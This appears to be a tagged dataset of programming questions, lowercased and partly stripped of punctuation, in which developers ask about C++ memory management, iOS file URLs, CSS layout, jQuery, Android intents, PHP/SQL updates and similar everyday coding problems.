c++ - resizing a dynamic array  <strong>solved</strong>    i m having problems with resizing an array of pointers  mainly with the last few lines of the addgraphicelement() function.    i have the following class definition for a <strong>vectorgraphic</strong>:   <pre><code>unsigned int numgraphicelements; graphicelement* pelements; public:  vectorgraphic(); ~vectorgraphic() {     if (pelements)         delete[]pelements; } void addgraphicelement(); void deletegraphicelement(); void reportvectorgraphic(); </code></pre>   the following class definition for a <strong>graphicelement</strong>:   <pre><code>static const int size = 256; public: unsigned int numlines; line* plines; char name[size]; graphicelement() {     numlines = 0;     plines = nullptr; } ~graphicelement() {     if (plines)         delete []plines; } </code></pre>   and the following function <strong>addgraphicelement()</strong> in the <strong>vectorgraphic</strong> class:   <pre><code>unsigned int numlines; char name[256]; cout &lt;&lt;  adding a graphic element  &lt;&lt; endl;  //name input cout &lt;&lt;  please enter the name of the new graphicelement(&lt;256 characters):  ; //flush cin so it doesnt skip getline cin.ignore();  cin.getline(name sizeof(name));  //line input cout &lt;&lt;  how many lines are there in the  new graphicelement   ; cin &gt;&gt; numlines;  //allocate memory for line(s) line* plines = new line[numlines];  for(int i=0;i&lt;numlines;i++) {     //start point input     cout &lt;&lt;  please enter the x coord of the start point of line index   &lt;&lt; i &lt;&lt;  :  ;     cin &gt;&gt; plines[i].start.x;     cout &lt;&lt;  please enter the y coord of the start point of line index   &lt;&lt; i &lt;&lt;  :  ;     cin &gt;&gt; plines[i].start.y;     //end point input     cout &lt;&lt;  please enter the x coord of the end point of line index   &lt;&lt; i &lt;&lt;  :  ;     cin &gt;&gt; plines[i].end.x;     cout &lt;&lt;  please enter the y coord of the end point of line index   &lt;&lt; i &lt;&lt;  :  ;     cin &gt;&gt; plines[i].end.y; }  //allocate new size for graphicelement* graphicelement* newelements = new graphicelement[numgraphicelements+1];  //copy old elements to new pointer for(int i=0;i&lt;numgraphicelements;i++) {     newelements[i] = pelements[i];     newelements[i].plines = pelements[i].plines; }  //assign new element to last index strcpy(newelements[numgraphicelements].name  name); newelements[numgraphicelements].numlines = numlines; newelements[numgraphicelements].plines = plines;  //re-assign the pointer and increment number of elements     delete[] pelements; pelements = newelements;     numgraphicelements++; </code></pre>   everything up until the last 3 lines seems to work fine. if i print the contents of newelements (before the delete and reassignment)  all of my data is there. however  if i print it after delete and reassignment  my data is lost (the junk value -17891602 is there instead).    i don t think i m using delete[] correctly since removing this line lets my program work  albeit with memory leaks:   <pre><code>delete[] pelements; </code></pre>   i suppose what i m asking is how do i properly use delete[] in my program     thanks!    edit: solved  new code for loop below   <pre><code>    strcpy(newelements[i].name  pelements[i].name);     newelements[i].numlines = pelements[i].numlines;      line* newlines = new line[newelements[i].numlines];     newlines-&gt;start.x = pelements[i].plines-&gt;start.x;     newlines-&gt;start.y = pelements[i].plines-&gt;start.y;     newlines-&gt;end.x = pelements[i].plines-&gt;end.x;     newlines-&gt;end.y = pelements[i].plines-&gt;end.y;      newelements[i].plines = newlines; </code></pre>,c++
nsurl for a downloaded or otherwise obtained file to open an ios app with: what is its filepath   i have found that so far the path sent to <code>application:openurl:sourceapplication:annotation:</code> is:    <pre><code>file://localhost/private/var/mobile/applications/&lt;guid&gt;/documents/inbox/file </code></pre>   to check that the filesystem operations that i am about to perform are indeed likely to succeed (and that the url given to me is not a location outside the sandbox)  it looks like i have to do this:    <pre><code>nsstring* hdurl = [[@ file://localhost/private  stringbyappendingstring:nshomedirectory()] stringbyappendingstring: @ / ]; nsstring* path = url.absolutestring; if ([path hasprefix:hdurl]) {     // now ready to e.g. call fopen on: [path substringfromindex:@ file://localhost .length] </code></pre>   now  i seem to vaguely recall (and this is probably wrong) that in the past i have seen the <code>file:///</code> style url being used. that would clearly cause this code to fail.     how am i to know that it will always give me a <code>file://localhost</code> url prefix     apple s <a href= https://developer.apple.com/library/ios/featuredarticles/iphoneurlscheme_reference/introduction/introduction.html  rel= nofollow >documentation on urls</a> is strangely missing a section on file urls.,ios
how to force 100% height on a dynamic drive css fluid/fixed layout  <a href= http://jsfiddle.net/amsgy/  rel= nofollow >example fiddle here</a>    i am using a fluid/fixed layout. i need my fixed side to take up 100% of the room between the header and footer content.     my right column:   <pre><code>#rightcolumn{ float: left; width: 200px; /*width of right column in pixels*/ margin-left: -200px; /*set left margin to -(rightcolumnwidth) */ background: #fde95e; height:100%; } </code></pre>,css
(jquery) moving diagonally on key press <pre><code>$( html ).keydown(function(event){          if(event.which ==  37 )             $( #hero ).animate({ left  :  -=30px });          if(event.which ==  39 )             $( #hero ).animate({ left  :  +=30px });          if(event.which ==  38 )             $( #hero ).animate({ top  :  -=30px });          if(event.which ==  40 )             $( #hero ).animate({ top  :  +=30px }); }); </code></pre>   how can i enable #hero to move diagonally,jquery
stop wrapping of hyphenated text   i have a bunch of links in a div. some have format  some-name . those with hyphen will split and wrap. i would like it to start a new line. how to do this please,html
can a plain html link (a) reload a page without query string values  i want to essentially reload the page i m on without some of the query strings which might be present (thus changing content on the page). i ve found that leaving the href tag empty like so <code>href=  </code> works  but i wonder if this a safe method  ie. does it work in older browsers     <strong>edit:</strong>    in fact scrap that  leaving it blank doesn t work (some great testing by me there). so  i guess my question now is  how can i reload the same page without any query string values  and without knowing the file name and without using javascript. i guess i m looking for something like <code>/</code> or <code>#</code>.,html
object literal - a different key must be given explicitly  helllo  i am slowly working through the es6 code at <a href= http://es6katas.org/  rel= nofollow noreferrer >http://es6katas.org/</a>.    i m stuck on the this piece of code:   <pre><code>const func = () =&gt; func;  it( a different key must be given explicitly  just like before es6   () =&gt; {   const short = {func};   assert.deepequal(short  {otherkey: func}); }); </code></pre>   how can i get my test to pass by using an explicit key  i m not allowed to change the assertion  just the other code.,javascript
why does the .net framework rely on interfaces   i am working on learning c# in depth. i am mostly confused by the frequent implementation of interfaces. i always read that this class implements this interface. for instance  sqlconnection class implements idbconnection. what is the benefit for developers in this case,c#
intent filter for android.intent.action.call  i have an intent filter that looks like so:   <pre><code>&lt;activity     android:name= com.test.call      android:label= @string/makecall  &gt;     &lt;intent-filter&gt;         &lt;action android:name= android.intent.action.call  /&gt;         &lt;category android:name= android.intent.category.default  /&gt;         &lt;action android:name= android.intent.action.call_privileged  /&gt;         &lt;data android:scheme= tel  /&gt;     &lt;/intent-filter&gt; &lt;/activity&gt; </code></pre>   this works fine and when you try to make a call my text appears as one of the options.  what i want to do is process the number being called and ask the user some questions and then continue on with the call.  i do this by running the following code after i do whatever processing i have do do:   <pre><code>uri phonecall = uri.parse( tel:   + numtocall); intent caller = new intent(intent.action_dial  phonecall); startactivity(caller); </code></pre>   the issue is  it is displaying the same options from the beginning again (the native caller and my intent filter).  this is not what i want  i want to bypass my intent filter and go directly to the native caller.  is there a way to do this   how can i force the intent to go directly to the native caller   i am looking at moving this to a broadcast receiver but would rather go this route.    thanks,android
python: int is object is not subscriptable  i know this is a topic that there are already several threads for. i ve reviewed them and understand what this error means  but for some reason cannot get it to work for my code.     i m trying to code a simple python function that takes a list of integers as input and outputs the integers in the list that are exactly twice the amount of the previous integer in the list. here is the code i have so far:   <pre><code>    def doubles(lst):          i = -1          for num in lst:             if num == num[i + 1] / 2:                print(num) </code></pre>   now i know the issue is that it is trying to print this integer as a string. i have tried editing the codes last line to say print(str(num)) and that does not work  nor does changing my if statement in line 4. any assistance would be greatly appreciated!,python
segmentation fault using pointer of structure  when i try to debug my program  i have error message like  segmentation fault .   <pre><code>typedef struct {     int a;     char *** tab; }operateur;  int main() {     char * chaine =  test ;     operateur * emptystruct = (struct operateur *) malloc(sizeof(operateur));      emptystruct-&gt;tab[0][0] = * chaine;     return 0; } </code></pre>   i would like to put the content of chaine in the first place of my array(tab).    thanks.,c
how to set up navigation controller -> root view in code (iphone sdk)  i need the ability to bypass the default rootviewcontroller you get when you pick a navigation controller project type in xcode.  i need this because i want to go down a different path depending on whether the app has been configured (sign up/login screens if not).  could someone point me to an example where in the appdelegate the navigationcontroller is hooked to another controller (in this case signupcontroller) via code     here is what i have  but it doesn t let me change the title.  and in the mainwindow.xib  it s still tied into the default rootviewcontroller.     <pre><code>(void)applicationdidfinishlaunching:(uiapplication *)application {         [[uiapplication sharedapplication]      // if no config  load up the signupcontroller      signupcontroller* signupcontroller = [[signupcontroller alloc] initwithnibname:@ signupcontroller  bundle:nil];     [window addsubview:[navigationcontroller view]];     [window makekeyandvisible]; </code></pre>,iphone
script tags with ids   do most modern browsers support ids in script tags such as:   <pre><code>&lt;script id= aparticularscript &gt;/* ... */&lt;/script&gt; </code></pre>   the reason i ask is that eclipse displays a warning stating  undefined attribute name  but it works fine in google chrome when i use jquery selectors to get other properties of the script element. w3schools states that the script element does not support any standard attributes (including the id attribute)  but i ve learned not to trust w3schools.    is it okay to have the script tag have an id,html
why do i keep getting a formatexception error when trying to print and display the result of a calculation (in c#)   currently  i am making a simple calculator. i am trying to display the result of a calculation of two numbers. i have created two textblocks in xaml: one for the inputs and one for the output. i have created an  equals  button to call the various calculation functions. when the equals button is pressed  i get a formatexception error.     i have tried to print the result as a string to the output box with no luck. i also previously had two input boxes but when the equals button was pressed  the result was overriding the second number.     below is an example of the code:    c#:   <pre><code>string calculation;         double number1;         double number2;         double total;  private void number_click(object sender  routedeventargs e)         {             inputbox.text += ((button)sender).content.tostring();         }  private void add_click(object sender  routedeventargs e)         {             if (inputbox.text.length &gt; 0)             {                 number1 = double.parse(inputbox.text);                  calculation =  + ;                 inputbox.text =   ;                 inputbox.text = number1 +  + ;             }         }  private void equals_click(object sender  routedeventargs e)         {             if (inputbox.text.length &gt; 0)             {                 number1 = double.parse(inputbox.text);                  switch (calculation)                 {                     case  / :                         divide_calculation();                         outputbox.text = total.tostring();                         break;                     case  * :                         multiply_calculation();                         outputbox.text = total.tostring();                         break;                     case  - :                         subtract_calculation();                         outputbox.text = total.tostring();                         break;                     case  + :                         add_calculation();                         outputbox.text = total.tostring();                         break;                 }             }         }   private void add_calculation()         {             total = number1 + number2;         } </code></pre>   xaml:   <pre><code>&lt;textblock x:name= inputbox  horizontalalignment= right  verticalalignment= center                          margin= 0  0  0  400  width= 340  height= 155  /&gt;             &lt;textblock x:name= outputbox  horizontalalignment= center  verticalalignment= center                          margin= 0  100  0  400  width= 340  height= 40  /&gt; </code></pre>   edit: below is the error encountered.     an exception of type  system.formatexception  occurred in mscorlib.ni.dll but was not handled in user code    additional information: input string was not in a correct format.,c#
linking pdfs on a hard drive on a web page  i m running a .net website.  the docroot is on the c: drive and the system generates pdfs to a folder on the e: drive. i want to have links to the pdfs on my website. the e: drive isn t an http drive though  it s just a windows drive.   <ol> <li>is there a simple way to link to the pdfs  or do i have to move them all to the docroot in c: </li> <li>also  i need to keep the e: drive and folders secure from hackers.</li> </ol>   i m looking for a simple  safe solution.     update: i found this solution.  i pass in the contract id.  the pdfs  names are based on the contract ids. this code opens the pdf in my browser.   <pre><code>strpdf0= s  &amp; getformatwith0(cint(contractid) 3) &amp;  .pdf  strpdf= e:\ftproot\docs\  &amp; strpdf0 set fsoobj = server.createobject( scripting.filesystemobject ) if fsoobj.fileexists(strpdf) then  response.contenttype =  application/pdf   set file name response.addheader  content-disposition    inline; filename=  &amp; strpdf0  set ofilestream = server.createobject( adodb.stream ) ofilestream.open ofilestream.type = 1  binary ofilestream.loadfromfile strpdf  response.binarywrite(ofilestream.read)  ofilestream.close set ofilestream= nothing else response.write  contract does not exist  end if  set fsoobj = nothing </code></pre>,.net
foreign key constraint suggestions  my problem is that in order to update my database  i must have my timezone drop down box re-selected every time i wish to update due to a constraint key.    i m dealing with two tables...    city table constraints the foreign key constraint which is idtimezone    time_zone table contains the primary key which is idtimezone    what i am trying to figure out how to do is basically have my plugin not depend on if the user has chosen a timezone or not in order to update that destination. unfortunately i am not in control of whether the idtimezone is a constraint or not.   <pre><code>// city timezone $time_zone = isset($_post[ tz ])   $_post[ tz ] : 0; if ($time_zone &lt;&gt; 0) { $errorcode = 0; $strmsg =   ; $sql= select * from time_zone order by name; ; $result=mysql_query($sql); $cont=mysql_num_rows($result); if(mysql_num_rows($result)){     $chtml =  &lt;select name= tz  id= tz &gt;&lt;option value= 0 &gt;--select time zone--   &lt;/option&gt; ;     while($row = mysql_fetch_array($result)){         $chtml .=  &lt;option value=  .$row[ idtimezone ].  &gt; .$row[ name ]. &lt;/option&gt; ;     }     $chtml .=  &lt;/select&gt; ;     echo json_encode(array( errorcode =&gt;$errorcode  chtml =&gt;$chtml)); }else{     $errorcode = 1;     $strmsg =  &lt;font style= color:#f00; &gt;no states available&lt;/font&gt; ;     echo json_encode(array( errorcode =&gt;$errorcode  chtml =&gt;$strmsg)); } } </code></pre>   and here is my update code for sql...   <pre><code>$sql =  update city set description= $description  page_title= $pagetitle  page_tags= $metakey   page_description_tag= $metadescription       is_active= $active  population= $pop   county= $county   idtimezone= $tz   elevation= $ele   peak_season= $ps   /* sunrise*/ srise_jan= $srjan  srise_feb= $srfeb  srise_mar= $srmarch  srise_apr= $srapril  srise_may= $srmay  srise_jun= $srjune       srise_jul= $srjuly   srise_aug= $sraug   srise_sep= $srsept   srise_oct= $sroct   srise_nov= $srnov   srise_dec= $srdec  /*sun set */ sset_jan= $ssjan       sset_feb= $ssfeb  sset_mar= $ssmarch  sset_apr= $ssapril  sset_may= $ssmay  sset_jun= $ssjune   sset_jul= $ssjuly   sset_aug= $ssaug       sset_sep= $sssept   sset_oct= $ssoct   sset_nov= $ssnov   sset_dec= $ssdec  /*temp*/temp_jan= $tjan  temp_feb= $tfeb  temp_mar= $tmarch  temp_apr= $tapril  temp_may= $tmay  temp_jun= $tjune       temp_jul= $tjuly   temp_aug= $taug   temp_sep= $tsept   temp_oct= $toct   temp_nov= $tnov   temp_dec= $tdec  /*precip */precip_jan= $pjan  precip_feb= $pfeb  precip_mar= $pmarch  precip_apr= $papril  precip_may= $pmay  precip_jun= $pjune       precip_jul= $pjuly   precip_aug= $paug   precip_sep= $psept   precip_oct= $poct   precip_nov= $pnov   precip_dec= $pdec       where idcity = $id  ; </code></pre>,sql
javascript comparing two variables <pre><code>     var usernam;  var whoismove;  var playercolor;  var playertomoveid;  var currentplayerid = $( #currentplayerid ).val();   $(document).ready(function ()  {      //$( #movemessage ).html( waiting for update... );      var refreshid = setinterval( getmoves()  getwhoismove()   1000);      var to;      var from =  s65 ;      var piecename;       playercolor = $( #playercolor ).val();      currentplayerid = $( #currentplayerid ).val();      /// playertomoveid = $( #playertomove ).val();       if (currentplayerid == playertomoveid)      {          if (playercolor.tostring() ==  white )          {              $( .whitep ).draggable({                  //revert:  invalid                    //helper:  clone                    cursor:  move                    containment:  checkerboard                    start: function (event  ui)                  {                      //$( .square ).hover(function ()                      //{                      //    from = $(this).attr( id )                      //});                      piecename = $(this).attr( id );                      //alert($from);                  }              });          } else if (playercolor.tostring() ==  black )          {              $( .blackp ).draggable({                  //revert:  invalid                    //helper:  clone                    cursor:  move                    containment:  checkerboard                    start: function (event  ui)                  {                      //$( .square ).hover(function ()                      //{                      //    from = $(this).attr( id )                      //});                      piecename = $(this).attr( id );                      //alert($from);                  }              });          }      }      $( div.square ).droppable({          accept:  .chesspiece            drop: function (event  ui)          {              to = $(this).attr( id );              //alert(currentplayerid);              $.post(              /game/makemove               {                 to: to                  from: from                  piecename: piecename                  username: $( #username ).val()                  userid1: $( #userid1 ).val()                  userid2: $( #userid2 ).val()                  gameid: $( #gameid ).val()              }               function (data)              {                  if (data ==  good )                  { }                  else if (data ==  bad )                  {                      alert( sorry not you turn );                  }              }             );           }      });  })  function getwhoismove() {                     $.getjson(                      /game/getwhoismove                       {                         gameid: $( #gameid ).val()                     }                      function (data)                     {                         playertomoveid = data;                     }                     ); } </code></pre>   that line is causing problems: if (currentplayerid == playertomoveid)    it always return false. i have checked values  and currentplayerid is depeding on what player is curretnly logged in and playertomoveid is pulled up from data base.     while i used those variables in alert()  they showed correct values for both players. so i must ask  what s wrong with that if()      it should be alwyas true for exactly one player  until he make his move.,javascript
sethidden and removefromsuperview leaves size of element  i want to hide a label if the labels text value is empty. i have no trouble checking this but if i use [label sethidden:yes] it still leaves the space.    i m adding this label in interface builder by the way.    i have tried using [label setframe: cgrectzero]  but the label keeps taking up space!    what shall i do,iphone
design question: polymorphism in javascript  i m trying to design an easily extendable form system in javascript  but am having some issues laying it out.     imagine a web form where you could fill in recipes  put them in some order  and then submit them for a chef to cook.  then  let s say you have 3 classes of recipes: salad  appetizers  and main course. obviously each form will have a different number of fields and different forms.    what i m trying to do is have one overall form manager that essentially takes in a base class recipes and calls various things on it  like .saveform()  .fillform()  or createnewform() but i d like each of these things to be implemented in the derived classes.      what is the best way to go about implementing this oo structure in javascript  or is this not the correct way to do it  after writing a bit of code  i found myself assigning my own types and constantly doing manual type checking  but this makes it harder to extend.,javascript
get a subview back after placing it into the view  so in my app  i click a button and i dynamically add a uitextfield:    <pre><code>myrect = cgrectmake(4  viewypos  80  25); uitextfield *mytextfield = [[uitextfield alloc] initwithframe:myrect]; mytextfield.borderstyle = uitextborderstyleroundedrect; mytextfield.font = [uifont fontwithname:@ trebuchet ms  size:12]; mytextfield.returnkeytype = uireturnkeydone; mytextfield.delegate = self; [mytextfield addtarget:self                 action:@selector(textfieldshouldreturn:)       forcontrolevents:uicontroleventeditingdidendonexit];  [attributescrollview addsubview:mytextfield];    [mytextfield release]; </code></pre>   now  how do i reference this text field  is there a way to pull it out of the view and place it back into a new textfield variable     my only thought is to create an instance nsarray variable so i can keep their reference.,objective-c
how to make/remove favorite list or wish list <pre><code>public class mainactivity extends listactivity {     private static final string tag =  recipeassistant ;     private recipelistadapter madapter; @override protected void onlistitemclick(listview l  view v  int position  long id) {     if (log.isloggable(tag  log.debug)) {         log.d(tag    onlistitemclick   + position);     }     string itemname = madapter.getitemname(position);     intent intent = new intent(getapplicationcontext()  recipeactivity.class);     intent.putextra(constants.recipe_name_to_load  itemname);     startactivity(intent); }  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(android.r.layout.list_content);      intent svc=new intent(this  backgroundsoundservice.class);     startservice(svc);      madapter = new recipelistadapter(this);     setlistadapter(madapter); } } </code></pre>   this is mainactivity.java   <pre><code>public class recipeactivity extends activity  { private static final string tag =  recipeassistant ; private string mrecipename; private recipe mrecipe; private imageview mimageview; private textview mtitletextview; private textview msummarytextview; private textview mingredientstextview; private linearlayout mstepslayout;  @override protected void onstart() {     super.onstart();     intent intent = getintent();     mrecipename = intent.getstringextra(constants.recipe_name_to_load);     if (log.isloggable(tag  log.debug)) {         log.d(tag   intent:   + intent.tostring() +     + mrecipename);     }     loadrecipe(); }  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.recipe);      mtitletextview = (textview) findviewbyid(r.id.recipetexttitle);     msummarytextview = (textview) findviewbyid(r.id.recipetextsummary);     mimageview = (imageview) findviewbyid(r.id.recipeimageview);     mingredientstextview = (textview) findviewbyid(r.id.textingredients);     mstepslayout = (linearlayout) findviewbyid(r.id.layoutsteps);        button button = (button)findviewbyid(r.id.enter);     button.setonclicklistener(new view.onclicklistener(){         @override         public void onclick(view v){             intent intent = new intent(recipeactivity.this  cooking.class);             startactivity(intent);         }     });  }  @override public boolean oncreateoptionsmenu(menu menu) {     // inflate the menu; this adds items to the action bar if it is present.     getmenuinflater().inflate(r.menu.main  menu);     return true; }  @override public boolean onoptionsitemselected(menuitem item) {     switch(item.getitemid()) {         case r.id.action_cook:             startcooking();             return true;     }     return super.onoptionsitemselected(item); }  private void loadrecipe() {     jsonobject jsonobject = assetutils.loadjsonasset(this  mrecipename);     if (jsonobject != null) {         mrecipe = recipe.fromjson(this  jsonobject);         if (mrecipe != null) {             displayrecipe(mrecipe);         }     } }  private void displayrecipe(recipe recipe) {     animation fadein = animationutils.loadanimation(this  android.r.anim.fade_in);     mtitletextview.setanimation(fadein);     mtitletextview.settext(recipe.titletext);     msummarytextview.settext(recipe.summarytext);     if (recipe.recipeimage != null) {         mimageview.setanimation(fadein);         bitmap recipeimage = assetutils.loadbitmapasset(this  recipe.recipeimage);         mimageview.setimagebitmap(recipeimage);     }     mingredientstextview.settext(recipe.ingredientstext);      findviewbyid(r.id.ingredientsheader).setanimation(fadein);     findviewbyid(r.id.ingredientsheader).setvisibility(view.visible);     findviewbyid(r.id.stepsheader).setanimation(fadein);      findviewbyid(r.id.stepsheader).setvisibility(view.visible);      layoutinflater inf = layoutinflater.from(this);     mstepslayout.removeallviews();     int stepnumber = 1;     for (recipe.recipestep step : recipe.recipesteps) {         view view = inf.inflate(r.layout.step_item  null);         imageview iv = (imageview) view.findviewbyid(r.id.stepimageview);         if (step.stepimage == null) {             iv.setvisibility(view.gone);         } else {             bitmap stepimage = assetutils.loadbitmapasset(this  step.stepimage);             iv.setimagebitmap(stepimage);         }         ((textview) view.findviewbyid(r.id.textstep)).settext(                 (stepnumber++) +  .   + step.steptext);         mstepslayout.addview(view);     } }  private void startcooking() {     intent intent = new intent(this  recipeservice.class);     intent.setaction(constants.action_start_cooking);     intent.putextra(constants.extra_recipe  mrecipe.tobundle());     startservice(intent); } </code></pre>   }   <ol start= 2 > <li> recipeactivity.java   <pre><code>public class recipelistadapter implements listadapter { private string tag =  recipelistadapter ;  private class item {     string title;     string name;     string summary;     bitmap image; }  private list&lt;item&gt; mitems = new arraylist&lt;item&gt;(); private context mcontext; private datasetobserver mobserver;  public recipelistadapter(context context) {     mcontext = context;     loadrecipelist(); }  private void loadrecipelist() {     jsonobject jsonobject = assetutils.loadjsonasset(mcontext  constants.recipe_list_file);     if (jsonobject != null) {         list&lt;item&gt; items = parsejson(jsonobject);         appenditemstolist(items);     } }  private list&lt;item&gt; parsejson(jsonobject json) {     list&lt;item&gt; result = new arraylist&lt;item&gt;();     try {         jsonarray items = json.getjsonarray(constants.recipe_field_list);         for (int i = 0; i &lt; items.length(); i++) {             jsonobject item = items.getjsonobject(i);             item parsed = new item();             parsed.name = item.getstring(constants.recipe_field_name);             parsed.title = item.getstring(constants.recipe_field_title);             if (item.has(constants.recipe_field_image)) {                 string imagefile = item.getstring(constants.recipe_field_image);                 parsed.image = assetutils.loadbitmapasset(mcontext  imagefile);             }             parsed.summary = item.getstring(constants.recipe_field_summary);             result.add(parsed);         }     } catch (jsonexception e) {         log.e(tag   failed to parse recipe list:   + e);     }     return result; }  private void appenditemstolist(list&lt;item&gt; items) {     mitems.addall(items);     if (mobserver != null) {         mobserver.onchanged();     } }  @override public int getcount() {     return mitems.size(); }  @override public object getitem(int position) {     return mitems.get(position); }  @override public long getitemid(int position) {     return 0; }  @override public int getitemviewtype(int position) {     return 0; }  @override public view getview(int position  view convertview  viewgroup parent) {     view view = convertview;     if (view == null) {         layoutinflater inf = layoutinflater.from(mcontext);         view = inf.inflate(r.layout.list_item  null);     }     item item = (item) getitem(position);     textview titleview = (textview) view.findviewbyid(r.id.texttitle);     textview summaryview = (textview) view.findviewbyid(r.id.textsummary);     imageview iv = (imageview) view.findviewbyid(r.id.imageview);      titleview.settext(item.title);     summaryview.settext(item.summary);     if (item.image != null) {         iv.setimagebitmap(item.image);     } else {         iv.setimagedrawable(mcontext.getresources().getdrawable(r.drawable.ic_noimage));     }     return view; }  @override public int getviewtypecount() {     return 1; }  @override public boolean hasstableids() {     return false; }  @override public boolean isempty() {     return mitems.isempty(); }  @override public void registerdatasetobserver(datasetobserver observer) {     mobserver = observer; }  @override public void unregisterdatasetobserver(datasetobserver observer) {     mobserver = null; }  @override public boolean areallitemsenabled() {     return true; }  @override public boolean isenabled(int position) {     return true; }  public string getitemname(int position) {     return mitems.get(position).name; } </code></pre>   } </li> </ol>   3 recipelistadapter.java   <pre><code>public class recipelistadapter implements listadapter {     private string tag =  recipelistadapter ;      private class item {         string title;         string name;         string summary;         bitmap image;     }      private list&lt;item&gt; mitems = new arraylist&lt;item&gt;();     private context mcontext;     private datasetobserver mobserver;      public recipelistadapter(context context) {         mcontext = context;         loadrecipelist();     }      private void loadrecipelist() {         jsonobject jsonobject = assetutils.loadjsonasset(mcontext  constants.recipe_list_file);         if (jsonobject != null) {             list&lt;item&gt; items = parsejson(jsonobject);             appenditemstolist(items);         }     }      private list&lt;item&gt; parsejson(jsonobject json) {         list&lt;item&gt; result = new arraylist&lt;item&gt;();         try {             jsonarray items = json.getjsonarray(constants.recipe_field_list);             for (int i = 0; i &lt; items.length(); i++) {                 jsonobject item = items.getjsonobject(i);                 item parsed = new item();                 parsed.name = item.getstring(constants.recipe_field_name);                 parsed.title = item.getstring(constants.recipe_field_title);                 if (item.has(constants.recipe_field_image)) {                     string imagefile = item.getstring(constants.recipe_field_image);                     parsed.image = assetutils.loadbitmapasset(mcontext  imagefile);                 }                 parsed.summary = item.getstring(constants.recipe_field_summary);                 result.add(parsed);             }         } catch (jsonexception e) {             log.e(tag   failed to parse recipe list:   + e);         }         return result;     }      private void appenditemstolist(list&lt;item&gt; items) {         mitems.addall(items);         if (mobserver != null) {             mobserver.onchanged();         }     }      @override     public int getcount() {         return mitems.size();     }      @override     public object getitem(int position) {         return mitems.get(position);     }      @override     public long getitemid(int position) {         return 0;     }      @override     public int getitemviewtype(int position) {         return 0;     }      @override     public view getview(int position  view convertview  viewgroup parent) {         view view = convertview;         if (view == null) {             layoutinflater inf = layoutinflater.from(mcontext);             view = inf.inflate(r.layout.list_item  null);         }         item item = (item) getitem(position);         textview titleview = (textview) view.findviewbyid(r.id.texttitle);         textview summaryview = (textview) view.findviewbyid(r.id.textsummary);         imageview iv = (imageview) view.findviewbyid(r.id.imageview);          titleview.settext(item.title);         summaryview.settext(item.summary);         if (item.image != null) {             iv.setimagebitmap(item.image);         } else {             iv.setimagedrawable(mcontext.getresources().getdrawable(r.drawable.ic_noimage));         }         return view;     }      @override     public int getviewtypecount() {         return 1;     }      @override     public boolean hasstableids() {         return false;     }      @override     public boolean isempty() {         return mitems.isempty();     }      @override     public void registerdatasetobserver(datasetobserver observer) {         mobserver = observer;     }      @override     public void unregisterdatasetobserver(datasetobserver observer) {         mobserver = null;     }      @override     public boolean areallitemsenabled() {         return true;     }      @override     public boolean isenabled(int position) {         return true;     }      public string getitemname(int position) {         return mitems.get(position).name;     } } </code></pre>   i am sorry for my poor english ability.    i used these three classes to load the json file and configure the view from the xml file to listview    i want to create a new listview by adding the bookmark function what should i do (i want to add and remove favorites function),android
uncaught typeerror: subir_file.foreach is not a function  i have a problem with the conversion object to array..    in the next code read a file json and input de information in a div byte_content this part of code it s ok..   <pre><code>function leer_json() {     function readblob(opt_startbyte  opt_stopbyte) {         var files = document.getelementbyid( files ).files;         if (!files.length) {             alert( please select a file! );             return;         }          var file = files[0];         var start = parseint(opt_startbyte) || 0;         var stop = parseint(opt_stopbyte) || file.size - 1;         var reader = new filereader();          // if we use onloadend  we need to check the readystate.         reader.onloadend = function(evt) {             if (evt.target.readystate == filereader.done) { // done == 2                 document.getelementbyid( byte_content ).textcontent = evt.target.result;                 subir_file = evt.target.result;                 alert(subir_file);             }         };         var blob = file.slice(start  stop + 1);         reader.readasbinarystring(blob);     }      document.queryselector( .readbytesbuttons ).addeventlistener( click   function(evt) {         if (evt.target.tagname.tolowercase() ==  button ) {             var startbyte = evt.target.getattribute( data-startbyte );             var endbyte = evt.target.getattribute( data-endbyte );             readblob(startbyte  endbyte);         }     }  false); } </code></pre>   the second function capture the var subir_file and try the read with the  each but the problem its of diferent type the date..   <pre><code>function sube_json() {      var table = document.getelementbyid( d_t_json );     subir_file.foreach(function(object) {         var tr = document.createelement( tr );         tr.innerhtml =  &lt;td&gt;  + object.tipo +  &lt;/td&gt;  +              &lt;td&gt;  + object.idenfificacion +  &lt;/td&gt;  +              &lt;td&gt;  + object.periodo_inicial +  &lt;/td&gt;  +              &lt;td&gt;  + object.periodo_final +  &lt;/td&gt; ;         table.appendchild(tr);     }); } </code></pre>   please .. how i can change the code .. i need charge the json into talbe of  html  ..,javascript
setting a size_t variable to -1  if i set a <code>size_t</code> variable to -1  like in:   <pre><code>size_t s = -1; </code></pre>   is it guaranteed it will contain the maximal value that can be hold by <code>s</code>      for example  if <code>sizeof(size_t)</code> is 4 bytes  can i assume that <code>s</code> would be <code>0xffffffff</code>       <em>as a complementary info: i need this for implementing a set  in which i intend to use <strong>-1</strong> as  item doesn t exist . and at the same time i don t want to sacrifice the <strong>0</strong>  nor using an <code>int</code>.</em>,c
file i/o in ios   what is the recommended way to write/read data from files in ios  all i see is:   <ol> <li>bulk i/o. e.g  contentsatpath of nsfilemanager or writetofile of nsstring. these are memory intensive and impractical for complex data structure.</li> <li>very low level buffer based i/o from nsfilehandle.</li> </ol>   what seems to be missing is api that sits somewhere in between that can read int  float and strings (like java s readutf/writeutf). the fscanf of c is a good example. i can roll my own. but  i was wondering if foundation framework already has something that i have missed.    thanks.,ios
jquery tabs & jquery slideshow not working together  but works separately  i have jquery responsive horizontal tabs working here: <a href= http://sitedesyne.com/responsive_tabs/index.html  rel= nofollow >http://sitedesyne.com/responsive_tabs/index.html</a>    and i have jquery responsive slideshow working here: <a href= http://sitedesyne.com/responsive_tabs/slideshow.html  rel= nofollow >http://sitedesyne.com/responsive_tabs/slideshow.html</a>    however  when i try to put the slideshow within the first tab  apparently there is a conflict or unknown issue and neither will work.    any help is greatly appreciated.,jquery
